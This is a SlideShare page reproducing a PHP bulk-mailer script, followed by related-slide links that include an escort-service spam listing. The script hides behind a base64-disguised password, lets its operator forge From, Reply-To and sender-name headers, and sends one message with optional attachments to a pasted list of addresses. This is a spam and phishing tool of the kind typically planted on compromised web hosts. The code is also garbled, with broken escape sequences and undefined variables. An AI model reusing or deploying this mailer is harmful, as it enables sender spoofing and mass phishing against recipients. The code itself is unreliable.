SlideShare a Scribd company logo
1 of 4
<?php
@session_start();
$create_password = true;
$password = base64_decode("bWFpbGVy");$pass=$_POST['pass'];if($pass==$password)
{$_SESSION['mailer']="$pass";}
if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"];
else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip =
$_SERVER["HTTP_X_FORWARDED_FOR"];
else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"];
else $ip = $_SERVER['REMOTE_ADDR'];
$ip=htmlspecialchars($ip);
if($create_password==true){
if(!isset($_SESSION['mailer']) or $_SESSION['mailer']!=$password){
die("<title>..:: Dukamu Bahagiaku ::..</title>
<META http-equiv="content-type" content="text/html;charset=iso-8859-1">
<META content="mailer" name="author">
<META name="rating" content="general" />
<META http-equiv="pragma" content="cache" />
<META http-equiv="cache-control" content="cache" />
<META http-equiv="cache-control" content="must-revalidate" />
<META http-equiv="cache-control" content="proxy-revalidate" />
<META name="MSSmartTagsPreventParsing" content="true" />
<META name="robots" content="all,index,follow" />
<META name="googlebot" content="all,index,follow" />
<META name="allow-search" content="yes" />
<META name="audience" content="all" />
<META name="revisit" content="2 days" />
<META name="revisit-after" content="2 days" />
<META name="author" content="mailer" />
<META name="copyright" content="mailer" />
<META name="creator" content="mailer" />
<META name="generator" content="mailer" />
<META http-equiv="Reply-to" content="g1xsystem@windowslive.com" />
<META name="distribution" content="global" />
<META name="classification" content="..:: Dukamu Bahagiaku ::.., Powered by
mailer" />
<META name="document-classification" content="general" />
<META name="rating" content="general" />
<meta name="description" content="..:: Dukamu Bahagiaku ::.. Powered by
mailer" />
<META content="index, follow" name="robots">
<META content="..:: Dukamu Bahagiaku ::..,mailer" name="keywords">
<META name="dc.title" content="..:: Dukamu Bahagiaku ::.." />
<META name="dc.creator.e-mail" content="g1xsystem@windowslive.com" />
<META name="dc.creator.name" content="mailer" />
<body text="#FFFFFF" bgcolor="#000000" background="black">
<br><br><br><br><br><br><br><br><br><br><br><center>
<table width=100 bgcolor="black" border=1 bordercolor="white"><tr><td>
<font size=1 face=verdana><center><b><font color=red>
..:: mailer secure mail ::..</font></a><br><br></b></center>
<form method=post>Password:<br><input type=password name=pass size=30
tabindex=1>
</form><font color=red><b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br>
<font color=red><b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>
<font color=red><b>Your ip:</b> ".$ip."</td></tr></table>");}}

if(isset($_POST['action'] ) ){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$replyto=$_POST['replyto'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$file_name=$_POST['file'];
$contenttype=$_POST['contenttype'];

        $message   =   urlencode($message);
        $message   =   ereg_replace("%5C%22", "%22", $message);
        $message   =   urldecode($message);
        $message   =   stripslashes($message);
        $subject   =   stripslashes($subject);
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.style1 {
          font-family: Geneva, Arial, Helvetica, sans-serif;
          font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
          font-size: 20px;
          font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="#006699" text="#ffffff">
<span class="style1"><center>
| + | Mailer Inbox | + |
</center>
<br></span></p>
<form name="form1" method="post" action="" enctype="multipart/form-data">
          <input type="hidden" name="action" value="send">
          <br>
   <table width="100%" border="0">
     <tr>
       <td width="10%">
          <div align="right"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">Email:</font></div>
       </td>
       <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-
serif">
          <input type="text" name="from" value="<? print $from; ?>"
size="30">
          </font></td>
       <td width="31%">
          <div align="right"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">Nama:</font></div>
       </td>
       <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-
serif">
          <input type="text" name="realname" value="<? print $realname; ?>"
size="30">
          </font></td>
     </tr>
     <tr>
       <td width="10%">
          <div align="right"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">Reply:</font></div>
       </td>
<td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-
serif">
          <input type="text" name="replyto" value="<? print $replyto; ?>"
size="30">
          </font></td>
       <td width="31%">
          <div align="right"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">Attach
            File:</font></div>
       </td>
       <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-
serif">
          <input type="file" name="file" size="30">
          </font></td>
     </tr>
     <tr>
       <td width="10%">
          <div align="right"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">Subject:</font></div>
       </td>
       <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-
serif">
          <input type="text" name="subject" value="<? print $subject; ?>"
size="109">
          </font></td>
     </tr>
     <tr>
       <td width="10%" valign="top">
          <div align="right"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">Mail:</font></div>
       </td>
       <td width="18%" valign="top"><font size="-3" face="Verdana, Arial,
Helvetica,
sans-serif">
          <textarea name="message" cols="50" rows="10"><? print $message; ?
></textarea>
          <br>
          <input type="radio" name="contenttype" value="plain">
          Text
          <input name="contenttype" type="radio" value="html" checked>
          HTML
          <input type="submit" value="Send to Inbox">
          </font></td>
       <td width="31%" valign="top">
          <div align="right">
            <font face="Verdana, Arial,
Helvetica, sans-serif" size="-3">Mail to:</font></div>
       </td>
       <td width="41%" valign="top"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
          <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?
></textarea></font></td>
     </tr>
   </table>
</form>
<?
if ($action){
          if (!$from && !$subject && !$message && !$emaillist){
          print "Please complete all fields before sending your message.";
          exit;
       }
       $allemails = split("n", $emaillist);
              $numemails = count($allemails);
for($x=0; $x<$numemails; $x++){
                $to = $allemails[$x];
                if ($to){
                $to = ereg_replace(" ", "", $to);
                $message = ereg_replace("&email&", $to, $message);
                $subject = ereg_replace("&email&", $to, $subject);
                print " $to.......";
                flush();
                $header = "From: $realname <$from>rnReply-To: $replytorn";
                $header .= "MIME-Version: 1.0rn";
                If ($file_name) $header .= "Content-Type: multipart/mixed;
boundary=$uidrn";
                If ($file_name) $header .= "--$uidrn";
                $header .= "Content-Type: text/$contenttypern";
                $header .= "Content-Transfer-Encoding: 8bitrnrn";
                $header .= "$messagern";
                If ($file_name) $header .= "--$uidrn";
                If ($file_name) $header .= "Content-Type: $file_type;
name="$file_name"rn";
                If ($file_name) $header .= "Content-Transfer-Encoding:
base64rn";
                If ($file_name) $header .= "Content-Disposition: attachment;
filename="$file_name"rnrn";
                If ($file_name) $header .= "$contentrn";
                If ($file_name) $header .= "--$uid--";
                mail($to, $subject, "", $header);
                print "Terkirim<br>";
                flush();
                }
                }
}


?>
<style type="text/css">
<!--
.style1 {
      font-size: 20px;
      font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style><center>
<p class="style1">Copyright © 2009 eidelweiss.info</center></p>
<?php
if(isset($_POST['action']) && $numemails !==0 ){echo
"<script>alert('Semua Email telah dikirimrnTotal Email terkirim
$numemailsrnKlik OK n say mailer ok');
</script>";}
?>
</body>
</html>

More Related Content

What's hot

Accessible Web Components_Techshare India 2014
Accessible Web Components_Techshare India 2014Accessible Web Components_Techshare India 2014
Accessible Web Components_Techshare India 2014BarrierBreak
 
Open Source Search: An Analysis
Open Source Search: An AnalysisOpen Source Search: An Analysis
Open Source Search: An AnalysisJustin Finkelstein
 
7. Php MongoDB editarea unui document
7. Php MongoDB editarea unui document7. Php MongoDB editarea unui document
7. Php MongoDB editarea unui documentRazvan Raducanu, PhD
 
New text document
New text documentNew text document
New text documentsingaqq
 
Beyond HTML - Scriptsprachen, Frameworks, Templatesprachen und vieles mehr
Beyond HTML - Scriptsprachen, Frameworks, Templatesprachen und vieles mehrBeyond HTML - Scriptsprachen, Frameworks, Templatesprachen und vieles mehr
Beyond HTML - Scriptsprachen, Frameworks, Templatesprachen und vieles mehrJens-Christian Fischer
 
Ch1(introduction to php)
Ch1(introduction to php)Ch1(introduction to php)
Ch1(introduction to php)Chhom Karath
 
Php code for online quiz
Php code for online quizPhp code for online quiz
Php code for online quizhnyb1002
 
8. Php MongoDB stergerea unui document
8. Php MongoDB stergerea unui document8. Php MongoDB stergerea unui document
8. Php MongoDB stergerea unui documentRazvan Raducanu, PhD
 
Ex[1].3 php db connectivity
Ex[1].3 php db connectivityEx[1].3 php db connectivity
Ex[1].3 php db connectivityMouli Chandira
 
(Ab)Using the MetaCPAN API for Fun and Profit
(Ab)Using the MetaCPAN API for Fun and Profit(Ab)Using the MetaCPAN API for Fun and Profit
(Ab)Using the MetaCPAN API for Fun and ProfitOlaf Alders
 
Disambiguating Equiprobability in SEO Dawn Anderson Friends of Search 2020
Disambiguating Equiprobability in SEO Dawn Anderson Friends of Search 2020Disambiguating Equiprobability in SEO Dawn Anderson Friends of Search 2020
Disambiguating Equiprobability in SEO Dawn Anderson Friends of Search 2020Dawn Anderson MSc DigM
 
jQuery: Tips, tricks and hints for better development and Performance
jQuery: Tips, tricks and hints for better development and PerformancejQuery: Tips, tricks and hints for better development and Performance
jQuery: Tips, tricks and hints for better development and PerformanceJonas De Smet
 
Bag Of Tricks From Iusethis
Bag Of Tricks From IusethisBag Of Tricks From Iusethis
Bag Of Tricks From IusethisMarcus Ramberg
 
Juicer javascript template engine
Juicer   javascript template engineJuicer   javascript template engine
Juicer javascript template enginepaulguo
 
01 ElasticSearch : Getting Started
01 ElasticSearch : Getting Started01 ElasticSearch : Getting Started
01 ElasticSearch : Getting StartedOpenThink Labs
 
Practical PHP by example Jan Leth-Kjaer
Practical PHP by example   Jan Leth-KjaerPractical PHP by example   Jan Leth-Kjaer
Practical PHP by example Jan Leth-KjaerCOMMON Europe
 

What's hot (20)

Accessible Web Components_Techshare India 2014
Accessible Web Components_Techshare India 2014Accessible Web Components_Techshare India 2014
Accessible Web Components_Techshare India 2014
 
Wsomdp
WsomdpWsomdp
Wsomdp
 
Open Source Search: An Analysis
Open Source Search: An AnalysisOpen Source Search: An Analysis
Open Source Search: An Analysis
 
Yql && Raphaël
Yql && RaphaëlYql && Raphaël
Yql && Raphaël
 
7. Php MongoDB editarea unui document
7. Php MongoDB editarea unui document7. Php MongoDB editarea unui document
7. Php MongoDB editarea unui document
 
Kishan Phadte's HTML Cross word
Kishan Phadte's HTML Cross wordKishan Phadte's HTML Cross word
Kishan Phadte's HTML Cross word
 
Php (1)
Php (1)Php (1)
Php (1)
 
New text document
New text documentNew text document
New text document
 
Beyond HTML - Scriptsprachen, Frameworks, Templatesprachen und vieles mehr
Beyond HTML - Scriptsprachen, Frameworks, Templatesprachen und vieles mehrBeyond HTML - Scriptsprachen, Frameworks, Templatesprachen und vieles mehr
Beyond HTML - Scriptsprachen, Frameworks, Templatesprachen und vieles mehr
 
Ch1(introduction to php)
Ch1(introduction to php)Ch1(introduction to php)
Ch1(introduction to php)
 
Php code for online quiz
Php code for online quizPhp code for online quiz
Php code for online quiz
 
8. Php MongoDB stergerea unui document
8. Php MongoDB stergerea unui document8. Php MongoDB stergerea unui document
8. Php MongoDB stergerea unui document
 
Ex[1].3 php db connectivity
Ex[1].3 php db connectivityEx[1].3 php db connectivity
Ex[1].3 php db connectivity
 
(Ab)Using the MetaCPAN API for Fun and Profit
(Ab)Using the MetaCPAN API for Fun and Profit(Ab)Using the MetaCPAN API for Fun and Profit
(Ab)Using the MetaCPAN API for Fun and Profit
 
Disambiguating Equiprobability in SEO Dawn Anderson Friends of Search 2020
Disambiguating Equiprobability in SEO Dawn Anderson Friends of Search 2020Disambiguating Equiprobability in SEO Dawn Anderson Friends of Search 2020
Disambiguating Equiprobability in SEO Dawn Anderson Friends of Search 2020
 
jQuery: Tips, tricks and hints for better development and Performance
jQuery: Tips, tricks and hints for better development and PerformancejQuery: Tips, tricks and hints for better development and Performance
jQuery: Tips, tricks and hints for better development and Performance
 
Bag Of Tricks From Iusethis
Bag Of Tricks From IusethisBag Of Tricks From Iusethis
Bag Of Tricks From Iusethis
 
Juicer javascript template engine
Juicer   javascript template engineJuicer   javascript template engine
Juicer javascript template engine
 
01 ElasticSearch : Getting Started
01 ElasticSearch : Getting Started01 ElasticSearch : Getting Started
01 ElasticSearch : Getting Started
 
Practical PHP by example Jan Leth-Kjaer
Practical PHP by example   Jan Leth-KjaerPractical PHP by example   Jan Leth-Kjaer
Practical PHP by example Jan Leth-Kjaer
 

Similar to php Mailer

C A S Sample Php
C A S Sample PhpC A S Sample Php
C A S Sample PhpJH Lee
 
WTF Oriented Programming, com Fabio Akita
WTF Oriented Programming, com Fabio AkitaWTF Oriented Programming, com Fabio Akita
WTF Oriented Programming, com Fabio AkitaiMasters
 
SULTHAN's - PHP MySQL programs
SULTHAN's - PHP MySQL programsSULTHAN's - PHP MySQL programs
SULTHAN's - PHP MySQL programsSULTHAN BASHA
 
Php update and delet operation
Php update and delet operationPhp update and delet operation
Php update and delet operationsyeda zoya mehdi
 
次世代版 PowerCMS 開発プロジェクトのご紹介
次世代版 PowerCMS 開発プロジェクトのご紹介次世代版 PowerCMS 開発プロジェクトのご紹介
次世代版 PowerCMS 開発プロジェクトのご紹介純生 野田
 
Devs for Leokz e 7Masters - WTF Oriented Programming
Devs for Leokz e 7Masters - WTF Oriented ProgrammingDevs for Leokz e 7Masters - WTF Oriented Programming
Devs for Leokz e 7Masters - WTF Oriented ProgrammingFabio Akita
 
Quick beginner to Lower-Advanced guide/tutorial in PHP
Quick beginner to Lower-Advanced guide/tutorial in PHPQuick beginner to Lower-Advanced guide/tutorial in PHP
Quick beginner to Lower-Advanced guide/tutorial in PHPSanju Sony Kurian
 
Internet programming lab manual
Internet programming lab manualInternet programming lab manual
Internet programming lab manualinteldualcore
 
Introduction à CoffeeScript pour ParisRB
Introduction à CoffeeScript pour ParisRB Introduction à CoffeeScript pour ParisRB
Introduction à CoffeeScript pour ParisRB jhchabran
 
Ôn tập KTTMDT
Ôn tập KTTMDTÔn tập KTTMDT
Ôn tập KTTMDTmrcoffee282
 
Topological indices (t is) of the graphs to seek qsar models of proteins com...
Topological indices (t is) of the graphs  to seek qsar models of proteins com...Topological indices (t is) of the graphs  to seek qsar models of proteins com...
Topological indices (t is) of the graphs to seek qsar models of proteins com...Jitendra Kumar Gupta
 
introduction to Django in five slides
introduction to Django in five slides introduction to Django in five slides
introduction to Django in five slides Dan Chudnov
 

Similar to php Mailer (20)

Coding part
Coding partCoding part
Coding part
 
PHP POWERPOINT SLIDES
PHP POWERPOINT SLIDESPHP POWERPOINT SLIDES
PHP POWERPOINT SLIDES
 
Insertcustomer
InsertcustomerInsertcustomer
Insertcustomer
 
Php
PhpPhp
Php
 
C A S Sample Php
C A S Sample PhpC A S Sample Php
C A S Sample Php
 
Ip lab
Ip labIp lab
Ip lab
 
WTF Oriented Programming, com Fabio Akita
WTF Oriented Programming, com Fabio AkitaWTF Oriented Programming, com Fabio Akita
WTF Oriented Programming, com Fabio Akita
 
SULTHAN's - PHP MySQL programs
SULTHAN's - PHP MySQL programsSULTHAN's - PHP MySQL programs
SULTHAN's - PHP MySQL programs
 
Php update and delet operation
Php update and delet operationPhp update and delet operation
Php update and delet operation
 
次世代版 PowerCMS 開発プロジェクトのご紹介
次世代版 PowerCMS 開発プロジェクトのご紹介次世代版 PowerCMS 開発プロジェクトのご紹介
次世代版 PowerCMS 開発プロジェクトのご紹介
 
PowerCMS X
PowerCMS XPowerCMS X
PowerCMS X
 
Devs for Leokz e 7Masters - WTF Oriented Programming
Devs for Leokz e 7Masters - WTF Oriented ProgrammingDevs for Leokz e 7Masters - WTF Oriented Programming
Devs for Leokz e 7Masters - WTF Oriented Programming
 
Quick beginner to Lower-Advanced guide/tutorial in PHP
Quick beginner to Lower-Advanced guide/tutorial in PHPQuick beginner to Lower-Advanced guide/tutorial in PHP
Quick beginner to Lower-Advanced guide/tutorial in PHP
 
Internet programming lab manual
Internet programming lab manualInternet programming lab manual
Internet programming lab manual
 
Introduction à CoffeeScript pour ParisRB
Introduction à CoffeeScript pour ParisRB Introduction à CoffeeScript pour ParisRB
Introduction à CoffeeScript pour ParisRB
 
Ôn tập KTTMDT
Ôn tập KTTMDTÔn tập KTTMDT
Ôn tập KTTMDT
 
Zero to SOLID
Zero to SOLIDZero to SOLID
Zero to SOLID
 
Topological indices (t is) of the graphs to seek qsar models of proteins com...
Topological indices (t is) of the graphs  to seek qsar models of proteins com...Topological indices (t is) of the graphs  to seek qsar models of proteins com...
Topological indices (t is) of the graphs to seek qsar models of proteins com...
 
introduction to Django in five slides
introduction to Django in five slides introduction to Django in five slides
introduction to Django in five slides
 
Pagination in PHP
Pagination in PHPPagination in PHP
Pagination in PHP
 

Recently uploaded

Science 7 - LAND and SEA BREEZE and its Characteristics
Science 7 - LAND and SEA BREEZE and its CharacteristicsScience 7 - LAND and SEA BREEZE and its Characteristics
Science 7 - LAND and SEA BREEZE and its CharacteristicsKarinaGenton
 
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdfBASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdfSoniaTolstoy
 
Presiding Officer Training module 2024 lok sabha elections
Presiding Officer Training module 2024 lok sabha electionsPresiding Officer Training module 2024 lok sabha elections
Presiding Officer Training module 2024 lok sabha electionsanshu789521
 
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTiammrhaywood
 
CARE OF CHILD IN INCUBATOR..........pptx
CARE OF CHILD IN INCUBATOR..........pptxCARE OF CHILD IN INCUBATOR..........pptx
CARE OF CHILD IN INCUBATOR..........pptxGaneshChakor2
 
“Oh GOSH! Reflecting on Hackteria's Collaborative Practices in a Global Do-It...
“Oh GOSH! Reflecting on Hackteria's Collaborative Practices in a Global Do-It...“Oh GOSH! Reflecting on Hackteria's Collaborative Practices in a Global Do-It...
“Oh GOSH! Reflecting on Hackteria's Collaborative Practices in a Global Do-It...Marc Dusseiller Dusjagr
 
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions  for the students and aspirants of Chemistry12th.pptxOrganic Name Reactions  for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions for the students and aspirants of Chemistry12th.pptxVS Mahajan Coaching Centre
 
Pharmacognosy Flower 3. Compositae 2023.pdf
Pharmacognosy Flower 3. Compositae 2023.pdfPharmacognosy Flower 3. Compositae 2023.pdf
Pharmacognosy Flower 3. Compositae 2023.pdfMahmoud M. Sallam
 
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17Celine George
 
भारत-रोम व्यापार.pptx, Indo-Roman Trade,
भारत-रोम व्यापार.pptx, Indo-Roman Trade,भारत-रोम व्यापार.pptx, Indo-Roman Trade,
भारत-रोम व्यापार.pptx, Indo-Roman Trade,Virag Sontakke
 
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Krashi Coaching
 
Computed Fields and api Depends in the Odoo 17
Computed Fields and api Depends in the Odoo 17Computed Fields and api Depends in the Odoo 17
Computed Fields and api Depends in the Odoo 17Celine George
 
Sanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfSanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfsanyamsingh5019
 
Employee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxEmployee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxNirmalaLoungPoorunde1
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityGeoBlogs
 
Enzyme, Pharmaceutical Aids, Miscellaneous Last Part of Chapter no 5th.pdf
Enzyme, Pharmaceutical Aids, Miscellaneous Last Part of Chapter no 5th.pdfEnzyme, Pharmaceutical Aids, Miscellaneous Last Part of Chapter no 5th.pdf
Enzyme, Pharmaceutical Aids, Miscellaneous Last Part of Chapter no 5th.pdfSumit Tiwari
 
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptxSOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptxiammrhaywood
 

Recently uploaded (20)

Science 7 - LAND and SEA BREEZE and its Characteristics
Science 7 - LAND and SEA BREEZE and its CharacteristicsScience 7 - LAND and SEA BREEZE and its Characteristics
Science 7 - LAND and SEA BREEZE and its Characteristics
 
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
call girls in Kamla Market (DELHI) 🔝 >༒9953330565🔝 genuine Escort Service 🔝✔️✔️
 
Staff of Color (SOC) Retention Efforts DDSD
Staff of Color (SOC) Retention Efforts DDSDStaff of Color (SOC) Retention Efforts DDSD
Staff of Color (SOC) Retention Efforts DDSD
 
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdfBASLIQ CURRENT LOOKBOOK  LOOKBOOK(1) (1).pdf
BASLIQ CURRENT LOOKBOOK LOOKBOOK(1) (1).pdf
 
Presiding Officer Training module 2024 lok sabha elections
Presiding Officer Training module 2024 lok sabha electionsPresiding Officer Training module 2024 lok sabha elections
Presiding Officer Training module 2024 lok sabha elections
 
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPTECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
ECONOMIC CONTEXT - LONG FORM TV DRAMA - PPT
 
CARE OF CHILD IN INCUBATOR..........pptx
CARE OF CHILD IN INCUBATOR..........pptxCARE OF CHILD IN INCUBATOR..........pptx
CARE OF CHILD IN INCUBATOR..........pptx
 
“Oh GOSH! Reflecting on Hackteria's Collaborative Practices in a Global Do-It...
“Oh GOSH! Reflecting on Hackteria's Collaborative Practices in a Global Do-It...“Oh GOSH! Reflecting on Hackteria's Collaborative Practices in a Global Do-It...
“Oh GOSH! Reflecting on Hackteria's Collaborative Practices in a Global Do-It...
 
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions  for the students and aspirants of Chemistry12th.pptxOrganic Name Reactions  for the students and aspirants of Chemistry12th.pptx
Organic Name Reactions for the students and aspirants of Chemistry12th.pptx
 
Pharmacognosy Flower 3. Compositae 2023.pdf
Pharmacognosy Flower 3. Compositae 2023.pdfPharmacognosy Flower 3. Compositae 2023.pdf
Pharmacognosy Flower 3. Compositae 2023.pdf
 
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
Incoming and Outgoing Shipments in 1 STEP Using Odoo 17
 
भारत-रोम व्यापार.pptx, Indo-Roman Trade,
भारत-रोम व्यापार.pptx, Indo-Roman Trade,भारत-रोम व्यापार.pptx, Indo-Roman Trade,
भारत-रोम व्यापार.pptx, Indo-Roman Trade,
 
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
Kisan Call Centre - To harness potential of ICT in Agriculture by answer farm...
 
Computed Fields and api Depends in the Odoo 17
Computed Fields and api Depends in the Odoo 17Computed Fields and api Depends in the Odoo 17
Computed Fields and api Depends in the Odoo 17
 
TataKelola dan KamSiber Kecerdasan Buatan v022.pdf
TataKelola dan KamSiber Kecerdasan Buatan v022.pdfTataKelola dan KamSiber Kecerdasan Buatan v022.pdf
TataKelola dan KamSiber Kecerdasan Buatan v022.pdf
 
Sanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdfSanyam Choudhary Chemistry practical.pdf
Sanyam Choudhary Chemistry practical.pdf
 
Employee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptxEmployee wellbeing at the workplace.pptx
Employee wellbeing at the workplace.pptx
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activity
 
Enzyme, Pharmaceutical Aids, Miscellaneous Last Part of Chapter no 5th.pdf
Enzyme, Pharmaceutical Aids, Miscellaneous Last Part of Chapter no 5th.pdfEnzyme, Pharmaceutical Aids, Miscellaneous Last Part of Chapter no 5th.pdf
Enzyme, Pharmaceutical Aids, Miscellaneous Last Part of Chapter no 5th.pdf
 
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptxSOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
 

php Mailer

  • 1. <?php @session_start(); $create_password = true; $password = base64_decode("bWFpbGVy");$pass=$_POST['pass'];if($pass==$password) {$_SESSION['mailer']="$pass";} if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"]; else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"]; else $ip = $_SERVER['REMOTE_ADDR']; $ip=htmlspecialchars($ip); if($create_password==true){ if(!isset($_SESSION['mailer']) or $_SESSION['mailer']!=$password){ die("<title>..:: Dukamu Bahagiaku ::..</title> <META http-equiv="content-type" content="text/html;charset=iso-8859-1"> <META content="mailer" name="author"> <META name="rating" content="general" /> <META http-equiv="pragma" content="cache" /> <META http-equiv="cache-control" content="cache" /> <META http-equiv="cache-control" content="must-revalidate" /> <META http-equiv="cache-control" content="proxy-revalidate" /> <META name="MSSmartTagsPreventParsing" content="true" /> <META name="robots" content="all,index,follow" /> <META name="googlebot" content="all,index,follow" /> <META name="allow-search" content="yes" /> <META name="audience" content="all" /> <META name="revisit" content="2 days" /> <META name="revisit-after" content="2 days" /> <META name="author" content="mailer" /> <META name="copyright" content="mailer" /> <META name="creator" content="mailer" /> <META name="generator" content="mailer" /> <META http-equiv="Reply-to" content="g1xsystem@windowslive.com" /> <META name="distribution" content="global" /> <META name="classification" content="..:: Dukamu Bahagiaku ::.., Powered by mailer" /> <META name="document-classification" content="general" /> <META name="rating" content="general" /> <meta name="description" content="..:: Dukamu Bahagiaku ::.. Powered by mailer" /> <META content="index, follow" name="robots"> <META content="..:: Dukamu Bahagiaku ::..,mailer" name="keywords"> <META name="dc.title" content="..:: Dukamu Bahagiaku ::.." /> <META name="dc.creator.e-mail" content="g1xsystem@windowslive.com" /> <META name="dc.creator.name" content="mailer" /> <body text="#FFFFFF" bgcolor="#000000" background="black"> <br><br><br><br><br><br><br><br><br><br><br><center> <table width=100 bgcolor="black" border=1 bordercolor="white"><tr><td> <font size=1 face=verdana><center><b><font color=red> ..:: mailer secure mail ::..</font></a><br><br></b></center> <form method=post>Password:<br><input type=password name=pass size=30 tabindex=1> </form><font color=red><b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br> <font color=red><b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br> <font color=red><b>Your ip:</b> ".$ip."</td></tr></table>");}} if(isset($_POST['action'] ) ){ $action=$_POST['action']; $message=$_POST['message']; $emaillist=$_POST['emaillist']; $from=$_POST['from']; $replyto=$_POST['replyto']; $subject=$_POST['subject']; $realname=$_POST['realname'];
